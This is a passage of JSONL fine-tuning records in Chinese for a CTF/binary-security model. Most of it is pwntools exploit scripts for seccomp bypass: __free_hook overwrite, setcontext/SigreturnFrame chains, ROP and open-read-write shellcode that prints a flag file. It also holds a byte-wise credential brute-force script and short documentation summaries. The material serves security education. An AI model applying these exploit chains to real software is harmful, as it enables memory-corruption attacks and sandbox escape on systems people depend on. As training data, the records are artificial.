p.sendafter(\"content:\", content)\n\ndef show_chunk(index):\n    p.sendafter(\"choice:\", \"4\")\n    p.sendafter(\"index:\", str(index))\n\nadd_chunk(0, 0x500)\nadd_chunk(1, 0x18)\ndelete_chunk(0)\nshow_chunk(0)\n\nlibc.address = u64(p.recvuntil('\\x7F')[-6:].ljust(8, '\\x00')) - 0x3afca0\ninfo(\"libc base: \" + hex(libc.address))\n\nadd_chunk(0, 0x400)\ndelete_chunk(0)\nedit_chunk(0, p64(libc.sym['__free_hook']))\n\nadd_chunk(1, 0x400)\nadd_chunk(0, 0x400)\n\nshellcode1 = '''\n    xor rdi,rdi\n    mov rsi,%d\n    mov edx,0x1000\n    mov eax,0\n    syscall\n    jmp rsi\n''' % (libc.sym['__free_hook'] & 0xFFFFFFFFFFFFF000)\n\nedit_chunk(0, p64(libc.sym['setcontext'] + 53) + p64(libc.sym['__free_hook'] + 0x10) + asm(shellcode1))", "role": "assistant"}], "metadata": {"category": "seccomp", "ctf_score": 28, "ctf_task_type": "crypto", "original_id": "pwn101-doc-9187ae0d27bfde78", "original_line": 513, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp bypass.md", "split": "train", "split_group_key": "8394a18f47b59852452fe24f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp bypass.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "seccomp", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-c825d215643a4ede28a8", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「gdb.attach(p)」。\n资料来源：Seccomp绕过/seccomp bypass.md；主题：Seccomp沙箱机制与绕过；分类：seccomp。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# gdb.attach(p)\n\nframe = SigreturnFrame()\nframe.rsp = libc.sym['__free_hook'] + 8\nframe.rip = libc.sym['mprotect']\nframe.rdi = libc.sym['__free_hook'] & 0xFFFFFFFFFFFFF000\nframe.rsi = 0x2000\nframe.rdx = 7\n\nedit_chunk(1, str(frame))\ndelete_chunk(1)\n\nshellcode2 = '''\nmov rax, 0x67616c662f2e ;// ./flag\npush rax\nmov rdi, rsp ;// /flag\nmov rsi, 0 ;// O_RDONLY\nxor rdx, rdx ;\nmov rax, 2 ;// SYS_open\nsyscall\nmov rdi, rax ;// fd\nmov rsi,rsp ;\nmov rdx, 1024 ;// nbytes\nmov rax,0 ;// SYS_read\nsyscall\nmov rdi, 1 ;// fd\nmov rsi, rsp ;// buf\nmov rdx, rax ;// count\nmov rax, 1 ;// SYS_write\nsyscall\nmov rdi, 123 ;// error_code\nmov rax, 60\nsyscall\n'''\n\np.send(asm(shellcode2))\n\np.interactive()\n```", "role": "assistant"}], "metadata": {"category": "seccomp", "ctf_score": 28, "ctf_task_type": "crypto", "original_id": "pwn101-doc-dd670b8b1dc77942", "original_line": 519, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp bypass.md", "split": "train", "split_group_key": "8394a18f47b59852452fe24f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp bypass.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "seccomp", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-d4a2e0e3e3b5397c8ca9", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「setcontext+house of 一骑当千」。\n资料来源：Seccomp绕过/seccomp bypass.md；主题：Seccomp沙箱机制与绕过；分类：seccomp。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### setcontext+house of 一骑当千\n\n通常我们利用 `setcontext + 53` 通过 rdi 指向的内存给寄存器赋值，但是从 glibc-2-29 开始，setcontext 通过 rdx 指向的内存给寄存器赋值。\n\n通常情况可以采用 gadget 对 rdx 赋值然后跳转到 setcontext gadget 继续执行，但使用 gadget 需要我们能控制 rdi 寄存器指向的内存的前几个字节，并且未来的 glibc 的 setcontext 也可能不再使用 rdx 寄存器。\n\n因此我们需要一个通用的方法比如直接调用 setcontext 函数对寄存器赋值，而这中直接调用 setcontext 的方法就是 House of 一骑当千。\n\nsetcontext 函数原型为 `int setcontext(const ucontext_t *ucp)` ，其中 `ucontext_t` 结构体定义如下：\n\n```c\nstruct _libc_fpstate\n{\n  /* 64-bit FXSAVE format.  */\n  __uint16_t        __ctx(cwd);\n  __uint16_t        __ctx(swd);\n  __uint16_t        __ctx(ftw);\n  __uint16_t        __ctx(fop);\n  __uint64_t        __ctx(rip);\n  __uint64_t        __ctx(rdp);\n  __uint32_t        __ctx(mxcsr);\n  __uint32_t        __ctx(mxcr_mask);\n  struct _libc_fpxreg   _st[8];\n  struct _libc_xmmreg   _xmm[16];\n  __uint32_t        __glibc_reserved1[24];\n};\n\n/* Userlevel context.  */\ntypedef struct ucontext_t\n{\n    unsigned long int __ctx(uc_flags);\n    struct ucontext_t *uc_link;\n    stack_t uc_stack;\n    mcontext_t uc_mcontext;\n    sigset_t uc_sigmask;\n    struct _libc_fpstate __fpregs_mem;\n    __extension__ unsigned long long int __ssp[4];\n} ucontext_t;\n```\n\n[图片: image]\n\n在`setcontext`函数中，除了对`mcontext_t uc_mcontext;` `sigset_t uc_sigmask;` `struct _libc_fpstate __fpregs_mem __ssp`这4个进行操作外，并没有对其他部分操作，也就是我们可以不关心其他的值。\n\n+ `uc_mcontext`\n\n```c\n/* Context to describe whole processor state.  */\ntypedef struct\n{\n    gregset_t __ctx(gregs);\n    /* Note that fpregs is a pointer.  */\n    fpregset_t __ctx(fpregs);\n    __extension__ unsigned long long __reserved1[8];\n} mcontext_t;\n```\n\n这个就是存储寄存器的结构体，也是我们平时`setcontext+53`所使用的地方。有关数据设置和传统利用`setcontext+53`时一样即可。\n\n**注意 **`fpregs`** 指针需要指向一块可读写内存。**\n\n```c\n/* Restore the floating-point context.  Not the registers, only the\n   rest.  */\n    movq    oFPREGS(%rdx), %rcx\n    fldenv  (%rcx)\n```\n\n+ `uc_sigmask`\n\n这个主要是负责信号量，**经测试全是0就可以，当然也可以使用其他程序拷贝过来的信号量。**\n\n+ `__ssp`\n\n这个所对应的步骤为`setcontext`中的如下内容，作用使加载 MXCSR 寄存器，经测试0也行，偏移为`0x1c0`\n\n+ exp模板\n\n```python\nfrom pwn import *\n\nelf = ELF(\"./pwn\")\nlibc = ELF(\"./libc.so.6\")\n\ncontext(arch=elf.arch, os=elf.os)\ncontext.log_level = 'debug'\n\np = process([elf.path])\n\ndef add_chunk(index, size):\n    p.sendafter(\"choice:\", \"1\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"size:\", str(size))\n\ndef delete_chunk(index):\n    p.sendafter(\"choice:\", \"2\")\n    p.sendafter(\"index:\", str(index))\n\ndef edit_chunk(index, content):\n    p.sendafter(\"choice:\", \"3\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"length:\", str(len(content)))\n    p.sendafter(\"content:\", content)\n\ndef show_chunk(index):\n    p.sendafter(\"choice:\", \"4\")\n    p.sendafter(\"index:\", str(index))\n\nadd_chunk(0, 0x500)\nadd_chunk(1, 0x18)\n\ndelete_chunk(0)\nshow_chunk(0)\n\nlibc.address = u64(p.recvuntil('\\x7F')[-6:].ljust(8, '\\x00')) - 0x3b6be0\ninfo(\"libc base: \" + hex(libc.address))\n\nadd_chunk(0, 0x400)\nadd_chunk(1, 0x400)\ndelete_chunk(1)\ndelete_chunk(0)\n\nedit_chunk(0, p64(libc.sym['__free_hook']))\n\nadd_chunk(1, 0x400)\nadd_chunk(0, 0x400)\n\nbuf_addr = libc.sym['__free_hook'] + 0x100\npayload = b''\n\npayload += p64(libc.sym['setcontext'])\npayload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))\npayload += p64(3)\npayload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))\npayload += p64(buf_addr)\npayload += p64(next(libc.search(asm('pop rdx; ret;'), executable=True)))\npayload += p64(0x100)\npayload += p64(libc.symbols['read'])\npayload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))\npayload += p64(buf_addr)\npayload += p64(libc.symbols['puts'])\npayload = payload.ljust(0x100, b'\\x00')\npayload += b'./flag\\x00'\n\nedit_chunk(0, payload)\n\nframe = SigreturnFrame()\nframe.rsp = libc.sym['__free_hook'] + 8\nframe.rip = libc.symbols['open']\nframe.rdi = buf_addr\nframe.rsi = 0\nframe['&fpstate'] = libc.address + 0x3b8000 + 0x1000\n\nframe = bytes(frame)\ninfo(\"frame len: \" + hex(len(frame)))\n\nedit_chunk(1, frame)\n\ngdb.attach(p, \"b __libc_free\\nc\")\npause()\n\ndelete_chunk(1)\n```", "role": "assistant"}], "metadata": {"category": "seccomp", "ctf_score": 30, "ctf_task_type": "crypto", "original_id": "pwn101-doc-9a6a5e0841b70b9c", "original_line": 514, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp bypass.md", "split": "train", "split_group_key": "8394a18f47b59852452fe24f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp bypass.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "seccomp", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-f4353ee7c4f4adafd38d", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「setcontext+ROP」。\n资料来源：Seccomp绕过/seccomp bypass.md；主题：Seccomp沙箱机制与绕过；分类：seccomp。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### setcontext+ROP\n\n```python\n#!/bin/python3\nfrom pwn import *\n\nelf = ELF(\"./pwn\")\nlibc = ELF(\"./libc.so.6\")\ncontext(arch=elf.arch, os=elf.os)\ncontext.log_level = 'debug'\np = process([elf.path])\n\ndef add_chunk(index, size):\n    p.sendafter(\"choice:\", \"1\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"size:\", str(size))\n\ndef delete_chunk(index):\n    p.sendafter(\"choice:\", \"2\")\n    p.sendafter(\"index:\", str(index))\n\ndef edit_chunk(index, content):\n    p.sendafter(\"choice:\", \"3\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"length:\", str(len(content)))\n    p.sendafter(\"content:\", content)\n\ndef show_chunk(index):\n    p.sendafter(\"choice:\", \"4\")\n    p.sendafter(\"index:\", str(index))\n\nadd_chunk(0, 0x500)\nadd_chunk(1, 0x18)\ndelete_chunk(0)\nshow_chunk(0)\nlibc.address = u64(p.recvuntil(b'\\x7F')[-6:].ljust(8, b'\\x00')) - 0x3afca0\ninfo(\"libc base: \" + hex(libc.address))\n\nadd_chunk(0, 0x400)\ndelete_chunk(0)\nedit_chunk(0, p64(libc.sym['__free_hook']))\nadd_chunk(1, 0x400)\nadd_chunk(0, 0x400)\n\nbuf_addr = libc.sym['__free_hook'] + 0x100\n\npayload = b''\npayload += p64(libc.sym['setcontext'] + 53)\npayload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))\npayload += p64(3)\npayload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))\npayload += p64(buf_addr)\npayload += p64(next(libc.search(asm('pop rdx; ret;'), executable=True)))\npayload += p64(0x100)\npayload += p64(libc.sym['read'])\npayload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))\npayload += p64(buf_addr)\npayload += p64(libc.sym['puts'])\npayload = payload.ljust(0x100, b'\\x00')\npayload += b\"./flag\\x00\"\n\nedit_chunk(0, payload)\n\nframe = SigreturnFrame()\nframe.rsp = libc.sym['__free_hook'] + 8\nframe.rdi = buf_addr\nframe.rsi = 0\nframe.rip = libc.sym['open']\n\nedit_chunk(1, str(frame))\ndelete_chunk(1)\n\np.interactive()\n```", "role": "assistant"}], "metadata": {"category": "seccomp", "ctf_score": 30, "ctf_task_type": "crypto", "original_id": "pwn101-doc-d34ffbcf27361a51", "original_line": 518, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp bypass.md", "split": "train", "split_group_key": "8394a18f47b59852452fe24f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Seccomp绕过/seccomp bypass.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "seccomp", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-c7e4dc4b7af892ceca07", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "根据 `Seccomp绕过` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。", "role": "user"}, {"content": "## 题目路径\n`Seccomp绕过`\n\n## Writeup 蒸馏\n---\ntitle: Seccomp沙箱机制与绕过\ndate: 2026-04-17 21:30:38\ncategories: Pwn101\ntags:\nmathjax:\ntop:\n---\n\n## 基本概念\n\nSeccomp 是 Linux kernel 从 2.6.23 版本开始引入的一种简洁的沙箱机制。在 Linux 系统里，大量的系统调用直接暴露给用户态程序。但是，并不是所有的系统调用都被需要，而且不安全的代码滥用系统调用会对系统造成安全威胁。Seccomp 安全机制能使一个进程进入到一种 \"安全\" 运行模式，该模式下的进程只能调用有限的系统调用。\n\n在进程的`/proc/${pid}/status`文件中的 Seccomp 字段可以看到进程的 Seccomp 状态：\n\n```\n❯ cat /proc/2131/status\n\n......\n\nSeccomp:        2\nSeccomp_filters:        1\nSpeculation_Store_Bypass:       thread vulnerable\nSpeculationIndirectBranch:      conditional enabled\nCpus_allowed:   ff\nCpus_allowed_list:      0-7\nMems_allowed:   00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001\nMems_allowed_list:      0\nvoluntary_ctxt_switches:        1137\nnonvoluntary_ctxt_switches:     0\n```\n\n- 0：尚未启动；\n- 1：启用严格模式；\n- 2：启用过滤模式；\n\n## 沙箱开启方式\n\n### 使用 prctl 创建沙箱\n\n`PR_SET_SECCOMP`是 Linux 内核提供的一种机制，用于限制进程可以执行的系统调用。`PR_SET_SECCOMP`机制可以通过使用`prctl()`系统调用来设置。\n\n我们可以借助工具`seccomp-tools`来编写沙箱规则。\n\n首先编写沙箱规则，保存在文件`rule`中：\n\n```\nA = arch\nA == ARCH_X86_64 ? next : kill\nA = sys_number\nA >= 0x40000000 ? kill : next\nA == execve ? kill : allow\nallow:\nreturn ALLOW\nkill:\nreturn KILL\n```\n\n运行命令将沙箱规则转换为可被`PR_SET_SECCOMP`识别的规则：\n\n```bash\nseccomp-tools asm rule -a amd64 -f raw | seccomp-tools disasm -\n```\n\n将生成的规则应用到 C 程序中：\n\n```c\n#include \n#include \n#include \n#include \n#include \n\nint main() {\n    struct sock_filter filter[] = {\n        {0x20, 0x00, 0x00, 0x00000004},\n        {0x15, 0x00, 0x04, 0xc000003e},\n        {0x20, 0x00, 0x00, 0x00000000},\n        {0x35, 0x02, 0x00, 0x40000000},\n        {0x15, 0x01, 0x00, 0x0000003b},\n        {0x06, 0x00, 0x00, 0x7fff0000},\n        {0x06, 0x00, 0x00, 0x00000000}\n    };\n    struct sock_fprog prog = {\n        .len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),\n        .filter = filter,\n    };\n\n    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {\n        perror(\"prctl error.\");\n        return 1;\n    }\n\n    char *args[] = {\"/bin/bash\", \"-i\", NULL};\n    execve(args[0], args, NULL);\n    return 0;\n}\n```\n\n### 使用seccomp库创建沙箱\n\n首先安装 libseccomp-dev：\n```bash\nsudo apt-get install libseccomp-dev\n```\n\n示例代码：\n\n```c\n#include \n#include \n\nint main() {\n    scmp_filter_ctx ctx;\n    ctx = seccomp_init(SCMP_ACT_ALLOW);\n\n    seccomp_arch_add(ctx, SCMP_ARCH_X86_64);\n    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);\n    seccomp_load(ctx);\n\n    char *args[] = {\"/bin/bash\", \"-i\", NULL};\n    execve(args[0], args, NULL);\n\n    return 0;\n}\n```\n\n`seccomp_rule_add`函数参数说明：\n- `ctx`：过滤器上下文\n- `action`：匹配时的操作（SCMP_ACT_ALLOW允许、SCMP_ACT_KILL杀死进程、SCMP_ACT_ERRNO返回错误码）\n- `syscall`：要限制的系统调用号\n- `arg_cnt`：要匹配的参数数量\n- `...`：可变参数，指定参数匹配条件\n\n## 常见绕过\n\n### ORW\n\n当沙箱禁用`execve`系统调用时，可以通过`open`/`read`/`write`等系统调用组合来读取 flag。\n\n- orw shellcode 示例：\n\n```python\nshellcode = asm(\"\"\"\n    push 0x67616c66\n    mov rdi, rsp\n    xor esi, esi\n    push 2\n    pop rax\n    syscall\n    mov rdi, rax\n    mov rsi, rsp\n    mov edx, 0x100\n    xor eax, eax\n    syscall\n    mov edi, 1\n    mov rsi, rsp\n    push 1\n    pop rax\n    syscall\n\"\"\")\n```\n\n当`open`被禁用时，可以使用`openat`代替：\n```python\nshellcode = asm('''\n    mov rax, 0x67616c662f2e\n    push rax\n    mov rdi, -100\n    mov rsi, rsp\n    mov rdx, 0\n    mov rax, 257\n    syscall\n    mov rdi, rax\n    mov rsi, rsp\n    mov rdx, 1024\n    mov rax, 0\n    syscall\n    mov rdi, 1\n    mov rsi, rsp\n    mov rdx, rax\n    mov rax, 1\n    syscall\n''')\n```\n\n### 使用4字节系统调用绕过\n\n当沙箱缺少对`sys_number >= 0x40000000`的判断时，可以使用`0x40000000 | sys_number`来绕过。\n\n### 使用32位shellcode\n\n利用 x86 架构下 CS 段寄存器切换模式，以及 64 位和 32 位系统调用号不同的特性：\n- 缺乏对当前架构的判断\n- 64 位下的某些调用号与 32 位下的open相同\n\n示例沙箱规则（缺少架构判断）：\n```\n0000: 0x20 0x00 0x00 0x00000000  A = sys_number\n0001: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0003\n0002: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0009\n0003: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0008\n0004: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0008\n...\n```\n\n### 侧信道攻击\n\n当所有输出相关的系统调用被禁用时，可以通过逐字节比较来爆破flag：\n\n```python\ndef check(i, c):\n    p = process([elf.path])\n    p.send(payload)\n    sleep(1)\n\n## Exploit 关键代码\n### Seccomp绕过/exp.py\n```python\n#!/tools/env/bin/python3\nfrom pwn import *\nfrom Crypto.Cipher import ARC4\nfrom Crypto.Random import get_random_bytes\n\ndef dbg(c=0):\n\tif c:\n\t\tgdb.attach(io, c)\n\telse:\n\t\tgdb.attach(io)\n\t\tpause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio = process([elf.path])\nlibc = ELF('./libc.so.6')\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\nusername=\"\"\npasswd=\"\"\n\ndef get_username():\n\tglobal username, passwd\n\n\twhile True:\n\t\tfor i in range(1,256):\n\t\t\tif (i==0xA): continue\n\t\t\tru(b\"Input your username:\\n\")\n\t\t\tsl(username+chr(i)+\"\\x00\")\n\n\t\t\tresult=io.recvline()\n\t\t\tif (result==\"Invalid username length!\\n\"):\n\t\t\t\tusername+=chr(i)\n\t\t\t\tbreak\n\t\t\telif (result==\"Username correct!\\n\"):\n\t\t\t\tsl()\n\t\t\t\tusername+=chr(i)\n\t\t\t\treturn\n\nget_username()\n\ndef get_passwd():\n\tglobal username, passwd\n\n\twhile True:\n\n# ... 中间内容省略，保留关键利用片段 ...\n\ndef show(idx):\ndef delete(idx):\nfor i in range(8): delete(i)\nshow(6)\nshow(7)\ndelete(0)\ndelete(0)\ndelete(5)\ndelete(4)\n```\n\n### Seccomp绕过/prctl.c\n```c\n#include \n#include \n#include \n#include \n#include \n\nint main(int argc, char *argv[])\n{\n\n  //定义过滤器规则\n  struct sock_filter filter[] = {\n            {0x20, 0x00, 0x00, 0x00000004},\n            {0x15, 0x00, 0x04, 0xc000003e},\n            {0x20, 0x00, 0x00, 0x00000000},\n            {0x35, 0x02, 0x00, 0x40000000},\n            {0x15, 0x01, 0x00, 0x0000003b},\n            {0x06, 0x00, 0x00, 0x7fff0000},\n            {0x06, 0x00, 0x00, 0x00000000}\n  };\n  struct sock_fprog prog = {\n            .len = (unsigned short) (sizeof(filter) / sizeof(filter[0])),\n            .filter = filter,\n    };\n\n    // 设置seccomp过滤器\n    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {\n        perror(\"[-] prctl error.\");\n        return 1;\n    }\n\n    // 执行系统调用\n    char *args[] = {\"/bin/bash\", \"-i\", NULL};\n    execve(args[0], args, NULL);\n\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "seccomp", "ctf_score": 36, "ctf_task_type": "crypto", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["seccomp", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-pair-1987ea5bec8f6d55", "original_line": 520, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "Seccomp绕过", "source_record_id": "pwn101-pair-1987ea5bec8f6d55", "source_split": "train", "split": "train", "split_group_key": "0d30c330516c81152a0514f7"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "Seccomp绕过", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-007ab9936cea4977bab7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/data.md` 中的章节「例题分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/data.md`\n标题：数据提取\n章节：数据提取 > 自定义协议 > 例题分析\n路径分类：misc / misc/traffic/data.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题分析”展开。\n- HITCON-2018 : ev3 basic - HITCON-2018 : ev3 scanner ev3 basic\n\n关键术语：\n- misc\n- traffic\n- data.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 247, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "例题分析", "heading_path": ["数据提取", "自定义协议", "例题分析"], "original_id": "docs-af10ba483ec5baab605b", "original_line": 32, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/data.md", "source_root": "docs", "source_sha256": "1a96b9cf486f762a88e189b11b96da62d0a31eb956ca792e9e074841dbe37a25", "split": "train", "split_group_key": "f182e0f0474a5a6bd5f9fb57", "subcategory": "misc/traffic/data.md", "terms": ["misc", "traffic", "data.md"], "title": "数据提取"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/data.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-02cb3a29744f766cb717", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/race-condition/introduction.md` 中的章节「线程安全与可重入」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/race-condition/introduction.md`\n标题：Race Condition\n章节：Race Condition > 形式 > CWE-364: Signal Handler Race Condition > 线程安全与可重入\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“线程安全与可重入”展开。\n- 可重入函数使用的所有变量都保存在调用栈的当前函数栈（frame）上。\n- 线程安全 - 即该函数可以被多个线程调用，而不会出现任何问题。\n- 条件 - 本身没有任何共享资源 - 有共享资源，需要加锁。\n- 可重用 - 一个函数可以被多个实例可以同时运行在相同的地址空间中。\n- 可重入函数可以被中断，并且其它代码在进入该函数时，不会丢失数据的完整性。\n\n关键术语：\n- 栈\n- pwn\n- linux\n- user-mode\n- race-condition\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 508, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "线程安全与可重入", "heading_path": ["Race Condition", "形式", "CWE-364: Signal Handler Race Condition", "线程安全与可重入"], "original_id": "docs-d06278630bb81d016ccb", "original_line": 1222, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/race-condition/introduction.md", "source_root": "docs", "source_sha256": "338b696bd1c811ec5c9a103ccde2a5b1d14a90b4555ffeaf1644b779b73f85fe", "split": "train", "split_group_key": "4f68e945d1ddbb28ce9514b6", "subcategory": "pwn/linux/user-mode", "terms": ["栈", "pwn", "linux", "user-mode", "race-condition"], "title": "Race Condition"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/race-condition/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-06c874b9d21d88e3fd75", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/prefix.md` 中的章节「struct 模块」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/prefix.md`\n标题：取证隐写前置技术\n章节：取证隐写前置技术 > Python 操作二进制数据 > struct 模块\n路径分类：misc / misc/prefix.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“struct 模块”展开。\n- 这里就不再给出不同格式字符串的含义了，详细细节可以参照 Python Doc ``python >>> import struct >>> struct.pack('>I',16) '\\x00\\x00\\x00\\x10' ` pack 的第一个参数是处理指令，'>I' 的意思是：> 表示字节顺序是 Big-Endian，也就是网络序，I 表示 4 字节无符号整数。\n- 有的时候需要用 Python 处理二进制数据，比如，存取文件，socket 操作时。\n- 这时候，可以使用 Python 的 struct 模块来完成。\n- struct 模块中最重要的三个函数是 pack()、unpack() 和 calcsize() - pack(fmt, v1, v2, ...) 按照给定的格式（fmt），把数据封装成字符串（实际上是类似于c结构体的字节流） - unpack(fmt, string) 按照给定的格式（fmt）解析字节流 string，返回解析出来的 tuple - calcsize(fmt) 计算给定的格式（fmt）占用多少字节的内存 这里打包格式 fmt 确定了将变量按照什么方式打包成字节流，其包含了一系列的格式字符串。\n\n关键术语：\n- misc\n- prefix.md\n- code:python\n\n代码/命令片段线索：\n- python: 3 行，首行 `>>> import struct`\n- python: 4 行，首行 `>>> import struct`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 1090, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "struct 模块", "heading_path": ["取证隐写前置技术", 